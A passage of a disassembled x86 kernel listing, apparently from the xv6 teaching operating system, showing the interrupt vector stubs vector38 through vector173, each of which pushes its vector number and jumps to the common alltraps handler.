80105c6d <vector38>: .globl vector38 vector38: pushl $0 80105c6d: 6a 00 push $0x0 pushl $38 80105c6f: 6a 26 push $0x26 jmp alltraps 80105c71: e9 f3 f9 ff ff jmp 80105669 <alltraps> 80105c76 <vector39>: .globl vector39 vector39: pushl $0 80105c76: 6a 00 push $0x0 pushl $39 80105c78: 6a 27 push $0x27 jmp alltraps 80105c7a: e9 ea f9 ff ff jmp 80105669 <alltraps> 80105c7f <vector40>: .globl vector40 vector40: pushl $0 80105c7f: 6a 00 push $0x0 pushl $40 80105c81: 6a 28 push $0x28 jmp alltraps 80105c83: e9 e1 f9 ff ff jmp 80105669 <alltraps> 80105c88 <vector41>: .globl vector41 vector41: pushl $0 80105c88: 6a 00 push $0x0 pushl $41 80105c8a: 6a 29 push $0x29 jmp alltraps 80105c8c: e9 d8 f9 ff ff jmp 80105669 <alltraps> 80105c91 <vector42>: .globl vector42 vector42: pushl $0 80105c91: 6a 00 push $0x0 pushl $42 80105c93: 6a 2a push $0x2a jmp alltraps 80105c95: e9 cf f9 ff ff jmp 80105669 <alltraps> 80105c9a <vector43>: .globl vector43 vector43: pushl $0 80105c9a: 6a 00 push $0x0 pushl $43 80105c9c: 6a 2b push $0x2b jmp alltraps 80105c9e: e9 c6 f9 ff ff jmp 80105669 <alltraps> 80105ca3 <vector44>: .globl vector44 vector44: pushl $0 80105ca3: 6a 00 push $0x0 pushl $44 80105ca5: 6a 2c push $0x2c jmp alltraps 80105ca7: e9 bd f9 ff ff jmp 80105669 <alltraps> 80105cac <vector45>: .globl vector45 vector45: pushl $0 80105cac: 6a 00 push $0x0 pushl $45 80105cae: 6a 2d push $0x2d jmp alltraps 80105cb0: e9 b4 f9 ff ff jmp 80105669 <alltraps> 80105cb5 <vector46>: .globl vector46 vector46: pushl $0 80105cb5: 6a 00 push $0x0 pushl $46 80105cb7: 6a 2e push $0x2e jmp alltraps 80105cb9: e9 ab f9 ff ff jmp 80105669 <alltraps> 80105cbe <vector47>: .globl vector47 vector47: pushl $0 80105cbe: 6a 00 push $0x0 pushl $47 80105cc0: 6a 2f push $0x2f jmp alltraps 80105cc2: e9 a2 f9 ff ff jmp 80105669 <alltraps> 80105cc7 <vector48>: .globl vector48 vector48: pushl $0 80105cc7: 6a 00 push $0x0 pushl $48 80105cc9: 6a 30 push $0x30 jmp alltraps 80105ccb: e9 99 f9 ff ff jmp 80105669 <alltraps> 80105cd0 <vector49>: .globl vector49 vector49: pushl $0 80105cd0: 6a 00 push $0x0 pushl $49 80105cd2: 6a 31 push $0x31 jmp alltraps 80105cd4: e9 90 f9 ff ff jmp 80105669 <alltraps> 80105cd9 <vector50>: .globl vector50 vector50: pushl $0 80105cd9: 6a 00 push $0x0 pushl $50 80105cdb: 6a 32 push $0x32 jmp alltraps 80105cdd: e9 87 f9 ff ff jmp 80105669 <alltraps> 80105ce2 <vector51>: .globl vector51 vector51: pushl $0 80105ce2: 6a 00 push $0x0 pushl $51 80105ce4: 6a 33 push $0x33 jmp alltraps 80105ce6: e9 7e f9 ff ff jmp 80105669 <alltraps> 80105ceb <vector52>: .globl vector52 vector52: pushl $0 80105ceb: 6a 00 push $0x0 pushl $52 80105ced: 6a 34 push $0x34 jmp alltraps 80105cef: e9 75 f9 ff ff jmp 80105669 <alltraps> 80105cf4 <vector53>: .globl vector53 vector53: pushl $0 80105cf4: 6a 00 push $0x0 pushl $53 80105cf6: 6a 35 push $0x35 jmp alltraps 80105cf8: e9 6c f9 ff ff jmp 80105669 <alltraps> 80105cfd <vector54>: .globl vector54 vector54: pushl $0 80105cfd: 6a 00 push $0x0 pushl $54 80105cff: 6a 36 push $0x36 jmp alltraps 80105d01: e9 63 f9 ff ff jmp 80105669 <alltraps> 80105d06 <vector55>: .globl vector55 vector55: pushl $0 80105d06: 6a 00 push $0x0 pushl $55 80105d08: 6a 37 push $0x37 jmp alltraps 80105d0a: e9 5a f9 ff ff jmp 80105669 <alltraps> 80105d0f <vector56>: .globl vector56 vector56: pushl $0 80105d0f: 6a 00 push $0x0 pushl $56 80105d11: 6a 38 push $0x38 jmp alltraps 80105d13: e9 51 f9 ff ff jmp 80105669 <alltraps> 80105d18 <vector57>: .globl vector57 vector57: pushl $0 80105d18: 6a 00 push $0x0 pushl $57 80105d1a: 6a 39 push $0x39 jmp alltraps 80105d1c: e9 48 f9 ff ff jmp 80105669 <alltraps> 80105d21 <vector58>: .globl vector58 vector58: pushl $0 80105d21: 6a 00 push $0x0 pushl $58 80105d23: 6a 3a push $0x3a jmp alltraps 80105d25: e9 3f f9 ff ff jmp 80105669 <alltraps> 80105d2a <vector59>: .globl vector59 vector59: pushl $0 80105d2a: 6a 00 push $0x0 pushl $59 80105d2c: 6a 3b push $0x3b jmp alltraps 80105d2e: e9 36 f9 ff ff jmp 80105669 <alltraps> 80105d33 <vector60>: .globl vector60 vector60: pushl $0 80105d33: 6a 00 push $0x0 pushl $60 80105d35: 6a 3c push $0x3c jmp alltraps 80105d37: e9 2d f9 ff ff jmp 80105669 <alltraps> 80105d3c <vector61>: .globl vector61 vector61: pushl $0 80105d3c: 6a 00 push $0x0 pushl $61 80105d3e: 6a 3d push $0x3d jmp alltraps 80105d40: e9 24 f9 ff ff jmp 80105669 <alltraps> 80105d45 <vector62>: .globl vector62 vector62: pushl $0 80105d45: 6a 00 push $0x0 pushl $62 80105d47: 6a 3e push $0x3e jmp alltraps 80105d49: e9 1b f9 ff ff jmp 80105669 <alltraps> 80105d4e <vector63>: .globl vector63 vector63: pushl $0 80105d4e: 6a 00 push $0x0 pushl $63 80105d50: 6a 3f push $0x3f jmp alltraps 80105d52: e9 12 f9 ff ff jmp 80105669 <alltraps> 80105d57 <vector64>: .globl vector64 vector64: pushl $0 80105d57: 6a 00 push $0x0 pushl $64 80105d59: 6a 40 push $0x40 jmp alltraps 80105d5b: e9 09 f9 ff ff jmp 80105669 <alltraps> 80105d60 <vector65>: .globl vector65 vector65: pushl $0 80105d60: 6a 00 push $0x0 pushl $65 80105d62: 6a 41 push $0x41 jmp alltraps 80105d64: e9 00 f9 ff ff jmp 80105669 <alltraps> 80105d69 <vector66>: .globl vector66 vector66: pushl $0 80105d69: 6a 00 push $0x0 pushl $66 80105d6b: 6a 42 push $0x42 jmp alltraps 80105d6d: e9 f7 f8 ff ff jmp 80105669 <alltraps> 80105d72 <vector67>: .globl vector67 vector67: pushl $0 80105d72: 6a 00 push $0x0 pushl $67 80105d74: 6a 43 push $0x43 jmp alltraps 80105d76: e9 ee f8 ff ff jmp 80105669 <alltraps> 80105d7b <vector68>: .globl vector68 vector68: pushl $0 80105d7b: 6a 00 push $0x0 pushl $68 80105d7d: 6a 44 push $0x44 jmp alltraps 80105d7f: e9 e5 f8 ff ff jmp 80105669 <alltraps> 80105d84 <vector69>: .globl vector69 vector69: pushl $0 80105d84: 6a 00 push $0x0 pushl $69 80105d86: 6a 45 push $0x45 jmp alltraps 80105d88: e9 dc f8 ff ff jmp 80105669 <alltraps> 80105d8d <vector70>: .globl vector70 vector70: pushl $0 80105d8d: 6a 00 push $0x0 pushl $70 80105d8f: 6a 46 push $0x46 jmp alltraps 80105d91: e9 d3 f8 ff ff jmp 80105669 <alltraps> 80105d96 <vector71>: .globl vector71 vector71: pushl $0 80105d96: 6a 00 push $0x0 pushl $71 80105d98: 6a 47 push $0x47 jmp alltraps 80105d9a: e9 ca f8 ff ff jmp 80105669 <alltraps> 80105d9f <vector72>: .globl vector72 vector72: pushl $0 80105d9f: 6a 00 push $0x0 pushl $72 80105da1: 6a 48 push $0x48 jmp alltraps 80105da3: e9 c1 f8 ff ff jmp 80105669 <alltraps> 80105da8 <vector73>: .globl vector73 vector73: pushl $0 80105da8: 6a 00 push $0x0 pushl $73 80105daa: 6a 49 push $0x49 jmp alltraps 80105dac: e9 b8 f8 ff ff jmp 80105669 <alltraps> 80105db1 <vector74>: .globl vector74 vector74: pushl $0 80105db1: 6a 00 push $0x0 pushl $74 80105db3: 6a 4a push $0x4a jmp alltraps 80105db5: e9 af f8 ff ff jmp 80105669 <alltraps> 80105dba <vector75>: .globl vector75 vector75: pushl $0 80105dba: 6a 00 push $0x0 pushl $75 80105dbc: 6a 4b push $0x4b jmp alltraps 80105dbe: e9 a6 f8 ff ff jmp 80105669 <alltraps> 80105dc3 <vector76>: .globl vector76 vector76: pushl $0 80105dc3: 6a 00 push $0x0 pushl $76 80105dc5: 6a 4c push $0x4c jmp alltraps 80105dc7: e9 9d f8 ff ff jmp 80105669 <alltraps> 80105dcc <vector77>: .globl vector77 vector77: pushl $0 80105dcc: 6a 00 push $0x0 pushl $77 80105dce: 6a 4d push $0x4d jmp alltraps 80105dd0: e9 94 f8 ff ff jmp 80105669 <alltraps> 80105dd5 <vector78>: .globl vector78 vector78: pushl $0 80105dd5: 6a 00 push $0x0 pushl $78 80105dd7: 6a 4e push $0x4e jmp alltraps 80105dd9: e9 8b f8 ff ff jmp 80105669 <alltraps> 80105dde <vector79>: .globl vector79 vector79: pushl $0 80105dde: 6a 00 push $0x0 pushl $79 80105de0: 6a 4f push $0x4f jmp alltraps 80105de2: e9 82 f8 ff ff jmp 80105669 <alltraps> 80105de7 <vector80>: .globl vector80 vector80: pushl $0 80105de7: 6a 00 push $0x0 pushl $80 80105de9: 6a 50 push $0x50 jmp alltraps 80105deb: e9 79 f8 ff ff jmp 80105669 <alltraps> 80105df0 <vector81>: .globl vector81 vector81: pushl $0 80105df0: 6a 00 push $0x0 pushl $81 80105df2: 6a 51 push $0x51 jmp alltraps 80105df4: e9 70 f8 ff ff jmp 80105669 <alltraps> 80105df9 <vector82>: .globl vector82 vector82: pushl $0 80105df9: 6a 00 push $0x0 pushl $82 80105dfb: 6a 52 push $0x52 jmp alltraps 80105dfd: e9 67 f8 ff ff jmp 80105669 <alltraps> 80105e02 <vector83>: .globl vector83 vector83: pushl $0 80105e02: 6a 00 push $0x0 pushl $83 80105e04: 6a 53 push $0x53 jmp alltraps 80105e06: e9 5e f8 ff ff jmp 80105669 <alltraps> 80105e0b <vector84>: .globl vector84 vector84: pushl $0 80105e0b: 6a 00 push $0x0 pushl $84 80105e0d: 6a 54 push $0x54 jmp alltraps 80105e0f: e9 55 f8 ff ff jmp 80105669 <alltraps> 80105e14 <vector85>: .globl vector85 vector85: pushl $0 80105e14: 6a 00 push $0x0 pushl $85 80105e16: 6a 55 push $0x55 jmp alltraps 80105e18: e9 4c f8 ff ff jmp 80105669 <alltraps> 80105e1d <vector86>: .globl vector86 vector86: pushl $0 80105e1d: 6a 00 push $0x0 pushl $86 80105e1f: 6a 56 push $0x56 jmp alltraps 80105e21: e9 43 f8 ff ff jmp 80105669 <alltraps> 80105e26 <vector87>: .globl vector87 vector87: pushl $0 80105e26: 6a 00 push $0x0 pushl $87 80105e28: 6a 57 push $0x57 jmp alltraps 80105e2a: e9 3a f8 ff ff jmp 80105669 <alltraps> 80105e2f <vector88>: .globl vector88 vector88: pushl $0 80105e2f: 6a 00 push $0x0 pushl $88 80105e31: 6a 58 push $0x58 jmp alltraps 80105e33: e9 31 f8 ff ff jmp 80105669 <alltraps> 80105e38 <vector89>: .globl vector89 vector89: pushl $0 80105e38: 6a 00 push $0x0 pushl $89 80105e3a: 6a 59 push $0x59 jmp alltraps 80105e3c: e9 28 f8 ff ff jmp 80105669 <alltraps> 80105e41 <vector90>: .globl vector90 vector90: pushl $0 80105e41: 6a 00 push $0x0 pushl $90 80105e43: 6a 5a push $0x5a jmp alltraps 80105e45: e9 1f f8 ff ff jmp 80105669 <alltraps> 80105e4a <vector91>: .globl vector91 vector91: pushl $0 80105e4a: 6a 00 push $0x0 pushl $91 80105e4c: 6a 5b push $0x5b jmp alltraps 80105e4e: e9 16 f8 ff ff jmp 80105669 <alltraps> 80105e53 <vector92>: .globl vector92 vector92: pushl $0 80105e53: 6a 00 push $0x0 pushl $92 80105e55: 6a 5c push $0x5c jmp alltraps 80105e57: e9 0d f8 ff ff jmp 80105669 <alltraps> 80105e5c <vector93>: .globl vector93 vector93: pushl $0 80105e5c: 6a 00 push $0x0 pushl $93 80105e5e: 6a 5d push $0x5d jmp alltraps 80105e60: e9 04 f8 ff ff jmp 80105669 <alltraps> 80105e65 <vector94>: .globl vector94 vector94: pushl $0 80105e65: 6a 00 push $0x0 pushl $94 80105e67: 6a 5e push $0x5e jmp alltraps 80105e69: e9 fb f7 ff ff jmp 80105669 <alltraps> 80105e6e <vector95>: .globl vector95 vector95: pushl $0 80105e6e: 6a 00 push $0x0 pushl $95 80105e70: 6a 5f push $0x5f jmp alltraps 80105e72: e9 f2 f7 ff ff jmp 80105669 <alltraps> 80105e77 <vector96>: .globl vector96 vector96: pushl $0 80105e77: 6a 00 push $0x0 pushl $96 80105e79: 6a 60 push $0x60 jmp alltraps 80105e7b: e9 e9 f7 ff ff jmp 80105669 <alltraps> 80105e80 <vector97>: .globl vector97 vector97: pushl $0 80105e80: 6a 00 push $0x0 pushl $97 80105e82: 6a 61 push $0x61 jmp alltraps 80105e84: e9 e0 f7 ff ff jmp 80105669 <alltraps> 80105e89 <vector98>: .globl vector98 vector98: pushl $0 80105e89: 6a 00 push $0x0 pushl $98 80105e8b: 6a 62 push $0x62 jmp alltraps 80105e8d: e9 d7 f7 ff ff jmp 80105669 <alltraps> 80105e92 <vector99>: .globl vector99 vector99: pushl $0 80105e92: 6a 00 push $0x0 pushl $99 80105e94: 6a 63 push $0x63 jmp alltraps 80105e96: e9 ce f7 ff ff jmp 80105669 <alltraps> 80105e9b <vector100>: .globl vector100 vector100: pushl $0 80105e9b: 6a 00 push $0x0 pushl $100 80105e9d: 6a 64 push $0x64 jmp alltraps 80105e9f: e9 c5 f7 ff ff jmp 80105669 <alltraps> 80105ea4 <vector101>: .globl vector101 vector101: pushl $0 80105ea4: 6a 00 push $0x0 pushl $101 80105ea6: 6a 65 push $0x65 jmp alltraps 80105ea8: e9 bc f7 ff ff jmp 80105669 <alltraps> 80105ead <vector102>: .globl vector102 vector102: pushl $0 80105ead: 6a 00 push $0x0 pushl $102 80105eaf: 6a 66 push $0x66 jmp alltraps 80105eb1: e9 b3 f7 ff ff jmp 80105669 <alltraps> 80105eb6 <vector103>: .globl vector103 vector103: pushl $0 80105eb6: 6a 00 push $0x0 pushl $103 80105eb8: 6a 67 push $0x67 jmp alltraps 80105eba: e9 aa f7 ff ff jmp 80105669 <alltraps> 80105ebf <vector104>: .globl vector104 vector104: pushl $0 80105ebf: 6a 00 push $0x0 pushl $104 80105ec1: 6a 68 push $0x68 jmp alltraps 80105ec3: e9 a1 f7 ff ff jmp 80105669 <alltraps> 80105ec8 <vector105>: .globl vector105 vector105: pushl $0 80105ec8: 6a 00 push $0x0 pushl $105 80105eca: 6a 69 push $0x69 jmp alltraps 80105ecc: e9 98 f7 ff ff jmp 80105669 <alltraps> 80105ed1 <vector106>: .globl vector106 vector106: pushl $0 80105ed1: 6a 00 push $0x0 pushl $106 80105ed3: 6a 6a push $0x6a jmp alltraps 80105ed5: e9 8f f7 ff ff jmp 80105669 <alltraps> 80105eda <vector107>: .globl vector107 vector107: pushl $0 80105eda: 6a 00 push $0x0 pushl $107 80105edc: 6a 6b push $0x6b jmp alltraps 80105ede: e9 86 f7 ff ff jmp 80105669 <alltraps> 80105ee3 <vector108>: .globl vector108 vector108: pushl $0 80105ee3: 6a 00 push $0x0 pushl $108 80105ee5: 6a 6c push $0x6c jmp alltraps 80105ee7: e9 7d f7 ff ff jmp 80105669 <alltraps> 80105eec <vector109>: .globl vector109 vector109: pushl $0 80105eec: 6a 00 push $0x0 pushl $109 80105eee: 6a 6d push $0x6d jmp alltraps 80105ef0: e9 74 f7 ff ff jmp 80105669 <alltraps> 80105ef5 <vector110>: .globl vector110 vector110: pushl $0 80105ef5: 6a 00 push $0x0 pushl $110 80105ef7: 6a 6e push $0x6e jmp alltraps 80105ef9: e9 6b f7 ff ff jmp 80105669 <alltraps> 80105efe <vector111>: .globl vector111 vector111: pushl $0 80105efe: 6a 00 push $0x0 pushl $111 80105f00: 6a 6f push $0x6f jmp alltraps 80105f02: e9 62 f7 ff ff jmp 80105669 <alltraps> 80105f07 <vector112>: .globl vector112 vector112: pushl $0 80105f07: 6a 00 push $0x0 pushl $112 80105f09: 6a 70 push $0x70 jmp alltraps 80105f0b: e9 59 f7 ff ff jmp 80105669 <alltraps> 80105f10 <vector113>: .globl vector113 vector113: pushl $0 80105f10: 6a 00 push $0x0 pushl $113 80105f12: 6a 71 push $0x71 jmp alltraps 80105f14: e9 50 f7 ff ff jmp 80105669 <alltraps> 80105f19 <vector114>: .globl vector114 vector114: pushl $0 80105f19: 6a 00 push $0x0 pushl $114 80105f1b: 6a 72 push $0x72 jmp alltraps 80105f1d: e9 47 f7 ff ff jmp 80105669 <alltraps> 80105f22 <vector115>: .globl vector115 vector115: pushl $0 80105f22: 6a 00 push $0x0 pushl $115 80105f24: 6a 73 push $0x73 jmp alltraps 80105f26: e9 3e f7 ff ff jmp 80105669 <alltraps> 80105f2b <vector116>: .globl vector116 vector116: pushl $0 80105f2b: 6a 00 push $0x0 pushl $116 80105f2d: 6a 74 push $0x74 jmp alltraps 80105f2f: e9 35 f7 ff ff jmp 80105669 <alltraps> 80105f34 <vector117>: .globl vector117 vector117: pushl $0 80105f34: 6a 00 push $0x0 pushl $117 80105f36: 6a 75 push $0x75 jmp alltraps 80105f38: e9 2c f7 ff ff jmp 80105669 <alltraps> 80105f3d <vector118>: .globl vector118 vector118: pushl $0 80105f3d: 6a 00 push $0x0 pushl $118 80105f3f: 6a 76 push $0x76 jmp alltraps 80105f41: e9 23 f7 ff ff jmp 80105669 <alltraps> 80105f46 <vector119>: .globl vector119 vector119: pushl $0 80105f46: 6a 00 push $0x0 pushl $119 80105f48: 6a 77 push $0x77 jmp alltraps 80105f4a: e9 1a f7 ff ff jmp 80105669 <alltraps> 80105f4f <vector120>: .globl vector120 vector120: pushl $0 80105f4f: 6a 00 push $0x0 pushl $120 80105f51: 6a 78 push $0x78 jmp alltraps 80105f53: e9 11 f7 ff ff jmp 80105669 <alltraps> 80105f58 <vector121>: .globl vector121 vector121: pushl $0 80105f58: 6a 00 push $0x0 pushl $121 80105f5a: 6a 79 push $0x79 jmp alltraps 80105f5c: e9 08 f7 ff ff jmp 80105669 <alltraps> 80105f61 <vector122>: .globl vector122 vector122: pushl $0 80105f61: 6a 00 push $0x0 pushl $122 80105f63: 6a 7a push $0x7a jmp alltraps 80105f65: e9 ff f6 ff ff jmp 80105669 <alltraps> 80105f6a <vector123>: .globl vector123 vector123: pushl $0 80105f6a: 6a 00 push $0x0 pushl $123 80105f6c: 6a 7b push $0x7b jmp alltraps 80105f6e: e9 f6 f6 ff ff jmp 80105669 <alltraps> 80105f73 <vector124>: .globl vector124 vector124: pushl $0 80105f73: 6a 00 push $0x0 pushl $124 80105f75: 6a 7c push $0x7c jmp alltraps 80105f77: e9 ed f6 ff ff jmp 80105669 <alltraps> 80105f7c <vector125>: .globl vector125 vector125: pushl $0 80105f7c: 6a 00 push $0x0 pushl $125 80105f7e: 6a 7d push $0x7d jmp alltraps 80105f80: e9 e4 f6 ff ff jmp 80105669 <alltraps> 80105f85 <vector126>: .globl vector126 vector126: pushl $0 80105f85: 6a 00 push $0x0 pushl $126 80105f87: 6a 7e push $0x7e jmp alltraps 80105f89: e9 db f6 ff ff jmp 80105669 <alltraps> 80105f8e <vector127>: .globl vector127 vector127: pushl $0 80105f8e: 6a 00 push $0x0 pushl $127 80105f90: 6a 7f push $0x7f jmp alltraps 80105f92: e9 d2 f6 ff ff jmp 80105669 <alltraps> 80105f97 <vector128>: .globl vector128 vector128: pushl $0 80105f97: 6a 00 push $0x0 pushl $128 80105f99: 68 80 00 00 00 push $0x80 jmp alltraps 80105f9e: e9 c6 f6 ff ff jmp 80105669 <alltraps> 80105fa3 <vector129>: .globl vector129 vector129: pushl $0 80105fa3: 6a 00 push $0x0 pushl $129 80105fa5: 68 81 00 00 00 push $0x81 jmp alltraps 80105faa: e9 ba f6 ff ff jmp 80105669 <alltraps> 80105faf <vector130>: .globl vector130 vector130: pushl $0 80105faf: 6a 00 push $0x0 pushl $130 80105fb1: 68 82 00 00 00 push $0x82 jmp alltraps 80105fb6: e9 ae f6 ff ff jmp 80105669 <alltraps> 80105fbb <vector131>: .globl vector131 vector131: pushl $0 80105fbb: 6a 00 push $0x0 pushl $131 80105fbd: 68 83 00 00 00 push $0x83 jmp alltraps 80105fc2: e9 a2 f6 ff ff jmp 80105669 <alltraps> 80105fc7 <vector132>: .globl vector132 vector132: pushl $0 80105fc7: 6a 00 push $0x0 pushl $132 80105fc9: 68 84 00 00 00 push $0x84 jmp alltraps 80105fce: e9 96 f6 ff ff jmp 80105669 <alltraps> 80105fd3 <vector133>: .globl vector133 vector133: pushl $0 80105fd3: 6a 00 push $0x0 pushl $133 80105fd5: 68 85 00 00 00 push $0x85 jmp alltraps 80105fda: e9 8a f6 ff ff jmp 80105669 <alltraps> 80105fdf <vector134>: .globl vector134 vector134: pushl $0 80105fdf: 6a 00 push $0x0 pushl $134 80105fe1: 68 86 00 00 00 push $0x86 jmp alltraps 80105fe6: e9 7e f6 ff ff jmp 80105669 <alltraps> 80105feb <vector135>: .globl vector135 vector135: pushl $0 80105feb: 6a 00 push $0x0 pushl $135 80105fed: 68 87 00 00 00 push $0x87 jmp alltraps 80105ff2: e9 72 f6 ff ff jmp 80105669 <alltraps> 80105ff7 <vector136>: .globl vector136 vector136: pushl $0 80105ff7: 6a 00 push $0x0 pushl $136 80105ff9: 68 88 00 00 00 push $0x88 jmp alltraps 80105ffe: e9 66 f6 ff ff jmp 80105669 <alltraps> 80106003 <vector137>: .globl vector137 vector137: pushl $0 80106003: 6a 00 push $0x0 pushl $137 80106005: 68 89 00 00 00 push $0x89 jmp alltraps 8010600a: e9 5a f6 ff ff jmp 80105669 <alltraps> 8010600f <vector138>: .globl vector138 vector138: pushl $0 8010600f: 6a 00 push $0x0 pushl $138 80106011: 68 8a 00 00 00 push $0x8a jmp alltraps 80106016: e9 4e f6 ff ff jmp 80105669 <alltraps> 8010601b <vector139>: .globl vector139 vector139: pushl $0 8010601b: 6a 00 push $0x0 pushl $139 8010601d: 68 8b 00 00 00 push $0x8b jmp alltraps 80106022: e9 42 f6 ff ff jmp 80105669 <alltraps> 80106027 <vector140>: .globl vector140 vector140: pushl $0 80106027: 6a 00 push $0x0 pushl $140 80106029: 68 8c 00 00 00 push $0x8c jmp alltraps 8010602e: e9 36 f6 ff ff jmp 80105669 <alltraps> 80106033 <vector141>: .globl vector141 vector141: pushl $0 80106033: 6a 00 push $0x0 pushl $141 80106035: 68 8d 00 00 00 push $0x8d jmp alltraps 8010603a: e9 2a f6 ff ff jmp 80105669 <alltraps> 8010603f <vector142>: .globl vector142 vector142: pushl $0 8010603f: 6a 00 push $0x0 pushl $142 80106041: 68 8e 00 00 00 push $0x8e jmp alltraps 80106046: e9 1e f6 ff ff jmp 80105669 <alltraps> 8010604b <vector143>: .globl vector143 vector143: pushl $0 8010604b: 6a 00 push $0x0 pushl $143 8010604d: 68 8f 00 00 00 push $0x8f jmp alltraps 80106052: e9 12 f6 ff ff jmp 80105669 <alltraps> 80106057 <vector144>: .globl vector144 vector144: pushl $0 80106057: 6a 00 push $0x0 pushl $144 80106059: 68 90 00 00 00 push $0x90 jmp alltraps 8010605e: e9 06 f6 ff ff jmp 80105669 <alltraps> 80106063 <vector145>: .globl vector145 vector145: pushl $0 80106063: 6a 00 push $0x0 pushl $145 80106065: 68 91 00 00 00 push $0x91 jmp alltraps 8010606a: e9 fa f5 ff ff jmp 80105669 <alltraps> 8010606f <vector146>: .globl vector146 vector146: pushl $0 8010606f: 6a 00 push $0x0 pushl $146 80106071: 68 92 00 00 00 push $0x92 jmp alltraps 80106076: e9 ee f5 ff ff jmp 80105669 <alltraps> 8010607b <vector147>: .globl vector147 vector147: pushl $0 8010607b: 6a 00 push $0x0 pushl $147 8010607d: 68 93 00 00 00 push $0x93 jmp alltraps 80106082: e9 e2 f5 ff ff jmp 80105669 <alltraps> 80106087 <vector148>: .globl vector148 vector148: pushl $0 80106087: 6a 00 push $0x0 pushl $148 80106089: 68 94 00 00 00 push $0x94 jmp alltraps 8010608e: e9 d6 f5 ff ff jmp 80105669 <alltraps> 80106093 <vector149>: .globl vector149 vector149: pushl $0 80106093: 6a 00 push $0x0 pushl $149 80106095: 68 95 00 00 00 push $0x95 jmp alltraps 8010609a: e9 ca f5 ff ff jmp 80105669 <alltraps> 8010609f <vector150>: .globl vector150 vector150: pushl $0 8010609f: 6a 00 push $0x0 pushl $150 801060a1: 68 96 00 00 00 push $0x96 jmp alltraps 801060a6: e9 be f5 ff ff jmp 80105669 <alltraps> 801060ab <vector151>: .globl vector151 vector151: pushl $0 801060ab: 6a 00 push $0x0 pushl $151 801060ad: 68 97 00 00 00 push $0x97 jmp alltraps 801060b2: e9 b2 f5 ff ff jmp 80105669 <alltraps> 801060b7 <vector152>: .globl vector152 vector152: pushl $0 801060b7: 6a 00 push $0x0 pushl $152 801060b9: 68 98 00 00 00 push $0x98 jmp alltraps 801060be: e9 a6 f5 ff ff jmp 80105669 <alltraps> 801060c3 <vector153>: .globl vector153 vector153: pushl $0 801060c3: 6a 00 push $0x0 pushl $153 801060c5: 68 99 00 00 00 push $0x99 jmp alltraps 801060ca: e9 9a f5 ff ff jmp 80105669 <alltraps> 801060cf <vector154>: .globl vector154 vector154: pushl $0 801060cf: 6a 00 push $0x0 pushl $154 801060d1: 68 9a 00 00 00 push $0x9a jmp alltraps 801060d6: e9 8e f5 ff ff jmp 80105669 <alltraps> 801060db <vector155>: .globl vector155 vector155: pushl $0 801060db: 6a 00 push $0x0 pushl $155 801060dd: 68 9b 00 00 00 push $0x9b jmp alltraps 801060e2: e9 82 f5 ff ff jmp 80105669 <alltraps> 801060e7 <vector156>: .globl vector156 vector156: pushl $0 801060e7: 6a 00 push $0x0 pushl $156 801060e9: 68 9c 00 00 00 push $0x9c jmp alltraps 801060ee: e9 76 f5 ff ff jmp 80105669 <alltraps> 801060f3 <vector157>: .globl vector157 vector157: pushl $0 801060f3: 6a 00 push $0x0 pushl $157 801060f5: 68 9d 00 00 00 push $0x9d jmp alltraps 801060fa: e9 6a f5 ff ff jmp 80105669 <alltraps> 801060ff <vector158>: .globl vector158 vector158: pushl $0 801060ff: 6a 00 push $0x0 pushl $158 80106101: 68 9e 00 00 00 push $0x9e jmp alltraps 80106106: e9 5e f5 ff ff jmp 80105669 <alltraps> 8010610b <vector159>: .globl vector159 vector159: pushl $0 8010610b: 6a 00 push $0x0 pushl $159 8010610d: 68 9f 00 00 00 push $0x9f jmp alltraps 80106112: e9 52 f5 ff ff jmp 80105669 <alltraps> 80106117 <vector160>: .globl vector160 vector160: pushl $0 80106117: 6a 00 push $0x0 pushl $160 80106119: 68 a0 00 00 00 push $0xa0 jmp alltraps 8010611e: e9 46 f5 ff ff jmp 80105669 <alltraps> 80106123 <vector161>: .globl vector161 vector161: pushl $0 80106123: 6a 00 push $0x0 pushl $161 80106125: 68 a1 00 00 00 push $0xa1 jmp alltraps 8010612a: e9 3a f5 ff ff jmp 80105669 <alltraps> 8010612f <vector162>: .globl vector162 vector162: pushl $0 8010612f: 6a 00 push $0x0 pushl $162 80106131: 68 a2 00 00 00 push $0xa2 jmp alltraps 80106136: e9 2e f5 ff ff jmp 80105669 <alltraps> 8010613b <vector163>: .globl vector163 vector163: pushl $0 8010613b: 6a 00 push $0x0 pushl $163 8010613d: 68 a3 00 00 00 push $0xa3 jmp alltraps 80106142: e9 22 f5 ff ff jmp 80105669 <alltraps> 80106147 <vector164>: .globl vector164 vector164: pushl $0 80106147: 6a 00 push $0x0 pushl $164 80106149: 68 a4 00 00 00 push $0xa4 jmp alltraps 8010614e: e9 16 f5 ff ff jmp 80105669 <alltraps> 80106153 <vector165>: .globl vector165 vector165: pushl $0 80106153: 6a 00 push $0x0 pushl $165 80106155: 68 a5 00 00 00 push $0xa5 jmp alltraps 8010615a: e9 0a f5 ff ff jmp 80105669 <alltraps> 8010615f <vector166>: .globl vector166 vector166: pushl $0 8010615f: 6a 00 push $0x0 pushl $166 80106161: 68 a6 00 00 00 push $0xa6 jmp alltraps 80106166: e9 fe f4 ff ff jmp 80105669 <alltraps> 8010616b <vector167>: .globl vector167 vector167: pushl $0 8010616b: 6a 00 push $0x0 pushl $167 8010616d: 68 a7 00 00 00 push $0xa7 jmp alltraps 80106172: e9 f2 f4 ff ff jmp 80105669 <alltraps> 80106177 <vector168>: .globl vector168 vector168: pushl $0 80106177: 6a 00 push $0x0 pushl $168 80106179: 68 a8 00 00 00 push $0xa8 jmp alltraps 8010617e: e9 e6 f4 ff ff jmp 80105669 <alltraps> 80106183 <vector169>: .globl vector169 vector169: pushl $0 80106183: 6a 00 push $0x0 pushl $169 80106185: 68 a9 00 00 00 push $0xa9 jmp alltraps 8010618a: e9 da f4 ff ff jmp 80105669 <alltraps> 8010618f <vector170>: .globl vector170 vector170: pushl $0 8010618f: 6a 00 push $0x0 pushl $170 80106191: 68 aa 00 00 00 push $0xaa jmp alltraps 80106196: e9 ce f4 ff ff jmp 80105669 <alltraps> 8010619b <vector171>: .globl vector171 vector171: pushl $0 8010619b: 6a 00 push $0x0 pushl $171 8010619d: 68 ab 00 00 00 push $0xab jmp alltraps 801061a2: e9 c2 f4 ff ff jmp 80105669 <alltraps> 801061a7 <vector172>: .globl vector172 vector172: pushl $0 801061a7: 6a 00 push $0x0 pushl $172 801061a9: 68 ac 00 00 00 push $0xac jmp alltraps 801061ae: e9 b6 f4 ff ff jmp 80105669 <alltraps> 801061b3 <vector173>: .globl vector173 vector173: pushl $0 801061b3: 6a 00 push $0x0 pushl $173 